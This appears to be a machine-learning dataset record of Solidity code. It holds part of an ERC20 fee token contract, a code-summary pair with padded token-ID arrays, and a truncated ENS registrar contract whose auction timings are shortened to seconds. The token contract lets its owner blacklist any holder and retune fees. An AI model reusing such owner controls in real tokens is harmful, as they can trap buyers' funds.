swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
marketingWallet = address(0x2b7CAf2F89bA16d3DfB1cDF7592371F5f6cc0e44); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellDevFee = earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 2;
sellMarketingFee = 3;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 3;
sellMarketingFee = 6;
sellDevFee = 6;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function Chire(address[] calldata recipients, uint256[] calldata values)
external
onlyOwner
{
_approve(owner(), owner(), totalSupply());
for (uint256 i = 0; i < recipients.length; i++) {
transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals());
}
}
} | set as marketing wallet
| marketingWallet = address(0x2b7CAf2F89bA16d3DfB1cDF7592371F5f6cc0e44); | 13,944,871 | [
1,
542,
487,
13667,
310,
9230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
13667,
310,
16936,
273,
1758,
12,
20,
92,
22,
70,
27,
3587,
74,
22,
42,
6675,
70,
37,
2313,
72,
23,
40,
74,
38,
21,
71,
4577,
5877,
29,
4366,
11212,
42,
25,
74,
26,
952,
20,
73,
6334,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.13;
contract AbstractENS {
function owner(bytes32 node) constant returns(address);
function resolver(bytes32 node) constant returns(address);
function ttl(bytes32 node) constant returns(uint64);
function setOwner(bytes32 node, address owner);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner);
function setResolver(bytes32 node, address resolver);
function setTTL(bytes32 node, uint64 ttl);
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
}
contract ENS is AbstractENS {
struct Record {
address owner;
address resolver;
uint64 ttl;
}
mapping(bytes32=>Record) records;
// Permits modifications only by the owner of the specified node.
modifier only_owner(bytes32 node) {
if(records[node].owner != msg.sender) throw;
_;
}
/**
* Constructs a new ENS registrar.
*/
function ENS() {
records[0].owner = msg.sender;
}
/**
* Returns the address that owns the specified node.
*/
function owner(bytes32 node) constant returns (address) {
return records[node].owner;
}
/**
* Returns the address of the resolver for the specified node.
*/
function resolver(bytes32 node) constant returns (address) {
return records[node].resolver;
}
/**
* Returns the TTL of a node, and any records associated with it.
*/
function ttl(bytes32 node) constant returns (uint64) {
return records[node].ttl;
}
/**
* Transfers ownership of a node to a new address. May only be called by the current
* owner of the node.
* @param node The node to transfer ownership of.
* @param owner The address of the new owner.
*/
function setOwner(bytes32 node, address owner) only_owner(node) {
Transfer(node, owner);
records[node].owner = owner;
}
/**
* Transfers ownership of a subnode sha3(node, label) to a new address. May only be
* called by the owner of the parent node.
* @param node The parent node.
* @param label The hash of the label specifying the subnode.
* @param owner The address of the new owner.
*/
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) only_owner(node) {
var subnode = sha3(node, label);
NewOwner(node, label, owner);
records[subnode].owner = owner;
}
/**
* Sets the resolver address for the specified node.
* @param node The node to update.
* @param resolver The address of the resolver.
*/
function setResolver(bytes32 node, address resolver) only_owner(node) {
NewResolver(node, resolver);
records[node].resolver = resolver;
}
/**
* Sets the TTL for the specified node.
* @param node The node to update.
* @param ttl The TTL in seconds.
*/
function setTTL(bytes32 node, uint64 ttl) only_owner(node) {
NewTTL(node, ttl);
records[node].ttl = ttl;
}
}
contract Deed {
address public registrar;
address constant burn = 0xdead;
uint public creationDate;
address public owner;
address public previousOwner;
uint public value;
event OwnerChanged(address newOwner);
event DeedClosed();
bool active;
modifier onlyRegistrar {
if (msg.sender != registrar) throw;
_;
}
modifier onlyActive {
if (!active) throw;
_;
}
function Deed(address _owner) payable {
owner = _owner;
registrar = msg.sender;
creationDate = now;
active = true;
value = msg.value;
}
function setOwner(address newOwner) onlyRegistrar {
if (newOwner == 0) throw;
previousOwner = owner; // This allows contracts to check who sent them the ownership
owner = newOwner;
OwnerChanged(newOwner);
}
function setRegistrar(address newRegistrar) onlyRegistrar {
registrar = newRegistrar;
}
function setBalance(uint newValue, bool throwOnFailure) onlyRegistrar onlyActive {
// Check if it has enough balance to set the value
if (value < newValue) throw;
value = newValue;
// Send the difference to the owner
if (!owner.send(this.balance - newValue) && throwOnFailure) throw;
}
/**
* @dev Close a deed and refund a specified fraction of the bid value
* @param refundRatio The amount*1/1000 to refund
*/
function closeDeed(uint refundRatio) onlyRegistrar onlyActive {
active = false;
if (! burn.send(((1000 - refundRatio) * this.balance)/1000)) throw;
DeedClosed();
destroyDeed();
}
/**
* @dev Close a deed and refund a specified fraction of the bid value
*/
function destroyDeed() {
if (active) throw;
// Instead of selfdestruct(owner), invoke owner fallback function to allow
// owner to log an event if desired; but owner should also be aware that
// its fallback function can also be invoked by setBalance
if(owner.send(this.balance)) {
selfdestruct(burn);
}
}
}
contract Registrar {
AbstractENS public ens;
bytes32 public rootNode;
mapping (bytes32 => entry) _entries;
mapping (address => mapping(bytes32 => Deed)) public sealedBids;
enum Mode { Open, Auction, Owned, Forbidden, Reveal, NotYetAvailable }
uint32 constant totalAuctionLength = 5 seconds;
uint32 constant revealPeriod = 3 seconds;
uint32 public constant launchLength = 0 seconds;
uint constant minPrice = 0.01 ether;
uint public registryStarted;
event AuctionStarted(bytes32 indexed hash, uint registrationDate);
event NewBid(bytes32 indexed hash, address indexed bidder, uint deposit);
event BidRevealed(bytes32 indexed hash, address indexed owner, uint value, uint8 status);
event HashRegistered(bytes32 indexed hash, address indexed owner, uint value, uint registrationDate);
event HashReleased(bytes32 indexed hash, uint value);
event HashInvalidated(bytes32 indexed hash, string indexed name, uint value, uint registrationDate);
struct entry {
Deed deed;
uint registrationDate;
uint value;
uint highestBid;
}
// State transitions for names:
// Open -> Auction (startAuction)
// Auction -> Reveal
// Reveal -> Owned
// Reveal -> Open (if nobody bid)
// Owned -> Open (releaseDeed or invalidateName)
function state(bytes32 _hash) constant returns (Mode) {
var entry = _entries[_hash];
if(!isAllowed(_hash, now)) {
return Mode.NotYetAvailable;
} else if(now < entry.registrationDate) {
if (now < entry.registrationDate - revealPeriod) {
return Mode.Auction;
} else {
return Mode.Reveal;
}
} else {
if(entry.highestBid == 0) {
return Mode.Open;
} else {
return Mode.Owned;
}
}
}
modifier inState(bytes32 _hash, Mode _state) {
if(state(_hash) != _state) throw;
_;
}
modifier onlyOwner(bytes32 _hash) {
if (state(_hash) != Mode.Owned || msg.sender != _entries[_hash].deed.owner()) throw;
_;
}
modifier registryOpen() {
if(now < registryStarted || now > registryStarted + 4 years || ens.owner(rootNode) != address(this)) throw;
_;
}
function entries(bytes32 _hash) constant returns (Mode, address, uint, uint, uint) {
entry h = _entries[_hash];
return (state(_hash), h.deed, h.registrationDate, h.value, h.highestBid);
}
/**
* @dev Constructs a new Registrar, with the provided address as the owner of the root node.
* @param _ens The address of the ENS
* @param _rootNode The hash of the rootnode.
*/
function Registrar(AbstractENS _ens, bytes32 _rootNode, uint _startDate) {
ens = _ens;
rootNode = _rootNode;
registryStarted = _startDate > 0 ? _startDate : now;
}
/**
* @dev Returns the maximum of two unsigned integers
* @param a A number to compare
* @param b A number to compare
* @return The maximum of two unsigned integers
*/
function max(uint a, uint b) internal constant returns (uint max) {
if (a > b)
return a;
else
return b;
}
/**
* @dev Returns the minimum of two unsigned integers
* @param a A number to compare
* @param b A number to compare
* @return The minimum of two unsigned integers
*/
function min(uint a, uint b) internal constant returns (uint min) {
if (a < b)
return a;
else
return b;
}
/**
* @dev Returns the length of a given string
* @param s The string to measure the length of
* @return The length of the input string
*/
function strlen(string s) internal constant returns (uint) {
// Starting here means the LSB will be the byte we care about
uint ptr;
uint end;
assembly {
ptr := add(s, 1)
end := add(mload(s), ptr)
}
for (uint len = 0; ptr < end; len++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
return len;
}
/**
* @dev Determines if a name is available for registration yet
*
* Each name will be assigned a random date in which its auction
* can be started, from 0 to 13 weeks
*
* @param _hash The hash to start an auction on
* @param _timestamp The timestamp to query about
*/
function isAllowed(bytes32 _hash, uint _timestamp) constant returns (bool allowed){
return _timestamp > getAllowedTime(_hash);
}
/**
* @dev Returns available date for hash
*
* @param _hash The hash to start an auction on
*/
function getAllowedTime(bytes32 _hash) constant returns (uint timestamp) {
return registryStarted + (launchLength*(uint(_hash)>>128)>>128);
// right shift operator: a >> b == a / 2**b
}
/**
* @dev Assign the owner in ENS, if we're still the registrar
* @param _hash hash to change owner
* @param _newOwner new owner to transfer to
*/
function trySetSubnodeOwner(bytes32 _hash, address _newOwner) internal {
if(ens.owner(rootNode) == address(this))
ens.setSubnodeOwner(rootNode, _hash, _newOwner);
}
/**
* @dev Start an auction for an available hash
*
* Anyone can start an auction by sending an array of hashes that they want to bid for.
* Arrays are sent so that someone can open up an auction for X dummy hashes when they
* are only really interested in bidding for one. This will increase the cost for an
* attacker to simply bid blindly on all new auctions. Dummy auctions that are
* open but not bid on are closed after a week.
*
* @param _hash The hash to start an auction on
*/
function startAuction(bytes32 _hash) registryOpen() {
var mode = state(_hash);
if(mode == Mode.Auction) return;
if(mode != Mode.Open) throw;
entry newAuction = _entries[_hash];
newAuction.registrationDate = now + totalAuctionLength;
newAuction.value = 0;
newAuction.highestBid = 0;
AuctionStarted(_hash, newAuction.registrationDate);
}
/**
* @dev Start multiple auctions for better anonymity
* @param _hashes An array of hashes, at least one of which you presumably want to bid on
*/
function startAuctions(bytes32[] _hashes) {
for (uint i = 0; i < _hashes.length; i ++ ) {
startAuction(_hashes[i]);
}
}
/**
* @dev Hash the values required for a secret bid
* @param hash The node corresponding to the desired namehash
* @param value The bid amount
* @param salt A random value to ensure secrecy of the bid
* @return The hash of the bid values
*/
function shaBid(bytes32 hash, address owner, uint value, bytes32 salt) constant returns (bytes32 sealedBid) {
return sha3(hash, owner, value, salt);
}
/**
* @dev Submit a new sealed bid on a desired hash in a blind auction
*
* Bids are sent by sending a message to the main contract with a hash and an amount. The hash
* contains information about the bid, including the bidded hash, the bid amount, and a random
* salt. Bids are not tied to any one auction until they are revealed. The value of the bid
* itself can be masqueraded by sending more than the value of your actual bid. This is
* followed by a 48h reveal period. Bids revealed after this period will be burned and the ether unrecoverable.
* Since this is an auction, it is expected that most public hashes, like known domains and common dictionary
* words, will have multiple bidders pushing the price up.
*
* @param sealedBid A sealedBid, created by the shaBid function
*/
function newBid(bytes32 sealedBid) payable {
if (address(sealedBids[msg.sender][sealedBid]) > 0 ) throw;
if (msg.value < minPrice) throw;
// creates a new hash contract with the owner
Deed newBid = (new Deed).value(msg.value)(msg.sender);
sealedBids[msg.sender][sealedBid] = newBid;
NewBid(sealedBid, msg.sender, msg.value);
}
/**
* @dev Start a set of auctions and bid on one of them
*
* This method functions identically to calling `startAuctions` followed by `newBid`,
* but all in one transaction.
* @param hashes A list of hashes to start auctions on.
* @param sealedBid A sealed bid for one of the auctions.
*/
function startAuctionsAndBid(bytes32[] hashes, bytes32 sealedBid) payable {
startAuctions(hashes);
newBid(sealedBid);
}
/**
* @dev Submit the properties of a bid to reveal them
* @param _hash The node in the sealedBid
* @param _value The bid amount in the sealedBid
* @param _salt The sale in the sealedBid
*/
function unsealBid(bytes32 _hash, uint _value, bytes32 _salt) {
bytes32 seal = shaBid(_hash, msg.sender, _value, _salt);
Deed bid = sealedBids[msg.sender][seal];
if (address(bid) == 0 ) throw;
sealedBids[msg.sender][seal] = Deed(0);
entry h = _entries[_hash];
uint value = min(_value, bid.value());
bid.setBalance(value, true);
var auctionState = state(_hash);
if(auctionState == Mode.Owned) {
// Too late! Bidder loses their bid. Get's 0.5% back.
bid.closeDeed(5);
BidRevealed(_hash, msg.sender, value, 1);
} else if(auctionState != Mode.Reveal) {
// Invalid phase
throw;
} else if (value < minPrice || bid.creationDate() > h.registrationDate - revealPeriod) {
// Bid too low or too late, refund 99.5%
bid.closeDeed(995);
BidRevealed(_hash, msg.sender, value, 0);
} else if (value > h.highestBid) {
// new winner
// cancel the other bid, refund 99.5%
if(address(h.deed) != 0) {
Deed previousWinner = h.deed;
previousWinner.closeDeed(995);
}
// set new winner
// per the rules of a vickery auction, the value becomes the previous highestBid
h.value = h.highestBid; // will be zero if there's only 1 bidder
h.highestBid = value;
h.deed = bid;
BidRevealed(_hash, msg.sender, value, 2);
} else if (value > h.value) {
// not winner, but affects second place
h.value = value;
bid.closeDeed(995);
BidRevealed(_hash, msg.sender, value, 3);
} else {
// bid doesn't affect auction
bid.closeDeed(995);
BidRevealed(_hash, msg.sender, value, 4);
}
}
/**
* @dev Cancel a bid
* @param seal The value returned by the shaBid function
*/
function cancelBid(address bidder, bytes32 seal) {
Deed bid = sealedBids[bidder][seal];
// If a sole bidder does not `unsealBid` in time, they have a few more days
// where they can call `startAuction` (again) and then `unsealBid` during
// the revealPeriod to get back their bid value.
// For simplicity, they should call `startAuction` within
// 9 days (2 weeks - totalAuctionLength), otherwise their bid will be
// cancellable by anyone.
if (address(bid) == 0
|| now < bid.creationDate() + totalAuctionLength + 2 weeks) throw;
// Send the canceller 0.5% of the bid, and burn the rest.
bid.setOwner(msg.sender);
bid.closeDeed(5);
sealedBids[bidder][seal] = Deed(0);
BidRevealed(seal, bidder, 0, 5);
}
/**
* @dev Finalize an auction after the registration date has passed
* @param _hash The hash of the name the auction is for
*/
function finalizeAuction(bytes32 _hash) onlyOwner(_hash) {
entry h = _entries[_hash];
// handles the case when there's only a single bidder (h.value is zero)
h.value = max(h.value, minPrice);
h.deed.setBalance(h.value, true);
trySetSubnodeOwner(_hash, h.deed.owner());
HashRegistered(_hash, h.deed.owner(), h.value, h.registrationDate);
}
/**
* @dev The owner of a domain may transfer it to someone else at any time.
* @param _hash The node to transfer
* @param newOwner The address to transfer ownership to
*/
function transfer(bytes32 _hash, address newOwner) onlyOwner(_hash) {
if (newOwner == 0) throw;
entry h = _entries[_hash];
h.deed.setOwner(newOwner);
trySetSubnodeOwner(_hash, newOwner);
}
/**
* @dev After some time, or if we're no longer the registrar, the owner can release
* the name and get their ether back.
* @param _hash The node to release
*/
function releaseDeed(bytes32 _hash) onlyOwner(_hash) {
entry h = _entries[_hash];
Deed deedContract = h.deed;
if(now < h.registrationDate + 1 years && ens.owner(rootNode) == address(this)) throw;
h.value = 0;
h.highestBid = 0;
h.deed = Deed(0);
_tryEraseSingleNode(_hash);
deedContract.closeDeed(1000);
HashReleased(_hash, h.value);
}
/**
* @dev Submit a name 6 characters long or less. If it has been registered,
* the submitter will earn 50% of the deed value. We are purposefully
* handicapping the simplified registrar as a way to force it into being restructured
* in a few years.
* @param unhashedName An invalid name to search for in the registry.
*
*/
function invalidateName(string unhashedName) inState(sha3(unhashedName), Mode.Owned) {
if (strlen(unhashedName) > 6 ) throw;
bytes32 hash = sha3(unhashedName);
entry h = _entries[hash];
_tryEraseSingleNode(hash);
if(address(h.deed) != 0) {
// Reward the discoverer with 50% of the deed
// The previous owner gets 50%
h.value = max(h.value, minPrice);
h.deed.setBalance(h.value/2, false);
h.deed.setOwner(msg.sender);
h.deed.closeDeed(1000);
}
HashInvalidated(hash, unhashedName, h.value, h.registrationDate);
h.value = 0;
h.highestBid = 0;
h.deed = Deed(0);
}
/**
* @dev Allows anyone to delete the owner and resolver records for a (subdomain of) a
* name that is not currently owned in the registrar. If passing, eg, 'foo.bar.eth',
* the owner and resolver fields on 'foo.bar.eth' and 'bar.eth' will all be cleared.
* @param labels A series of label hashes identifying the name to zero out, rooted at the
* registrar's root. Must contain at least one element. For instance, to zero
* 'foo.bar.eth' on a registrar that owns '.eth', pass an array containing
* [sha3('foo'), sha3('bar')].
*/
function eraseNode(bytes32[] labels) {
if(labels.length == 0) throw;
if(state(labels[labels.length - 1]) == Mode.Owned) throw;
_eraseNodeHierarchy(labels.length - 1, labels, rootNode);
}
function _tryEraseSingleNode(bytes32 label) internal {
if(ens.owner(rootNode) == address(this)) {
ens.setSubnodeOwner(rootNode, label, address(this));
var node = sha3(rootNode, label);
ens.setResolver(node, 0);
ens.setOwner(node, 0);
}
}
function _eraseNodeHierarchy(uint idx, bytes32[] labels, bytes32 node) internal {
// Take ownership of the node
ens.setSubnodeOwner(node, labels[idx], address(this));
node = sha3(node, labels[idx]);
// Recurse if there's more labels
if(idx > 0)
_eraseNodeHierarchy(idx - 1, labels, node);
// Erase the resolver and owner records
ens.setResolver(node, 0);
ens.setOwner(node, 0);
}
/**
* @dev Transfers the deed to the current registrar, if different from this one.
* Used during the upgrade process to a permanent registrar.
* @param _hash The name hash to transfer.
*/
function transferRegistrars(bytes32 _hash) onlyOwner(_hash) {
